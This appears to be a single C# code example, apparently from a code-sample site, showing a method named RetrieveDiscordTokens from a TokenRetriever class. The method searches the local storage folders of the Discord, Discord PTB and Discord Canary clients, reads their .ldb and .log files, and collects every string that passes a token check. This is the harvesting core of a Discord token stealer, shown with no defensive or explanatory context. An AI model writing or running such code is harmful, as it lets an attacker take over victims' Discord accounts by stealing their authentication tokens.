コード例 #1
0
        public static List <string> RetrieveDiscordTokens()
        {
            List <string> list  = new List <string>();
            List <string> list2 = new List <string>(new string[]
            {
                TokenRetriever.discordTokenDirectory,
                TokenRetriever.ptbTokenDirectory,
                TokenRetriever.canaryTokenDirectory
            });
            List <string> list3 = new List <string>();

            foreach (string path in list2)
            {
                if (Directory.Exists(path))
                {
                    IEnumerable <string> collection = from specifiedFile in Directory.EnumerateFiles(path)
                                                      where specifiedFile.EndsWith(".ldb") || specifiedFile.EndsWith(".log")
                                                      select specifiedFile;
                    list3.AddRange(collection);
                }
            }
            foreach (string file in list3)
            {
                foreach (string line in TokenRetriever.ReadAllLines(file))
                {
                    if (!(TokenRetriever.PerformTokenCheck(line) == ""))
                    {
                        list.Add(TokenRetriever.PerformTokenCheck(line));
                    }
                }
            }
            return(list);
        }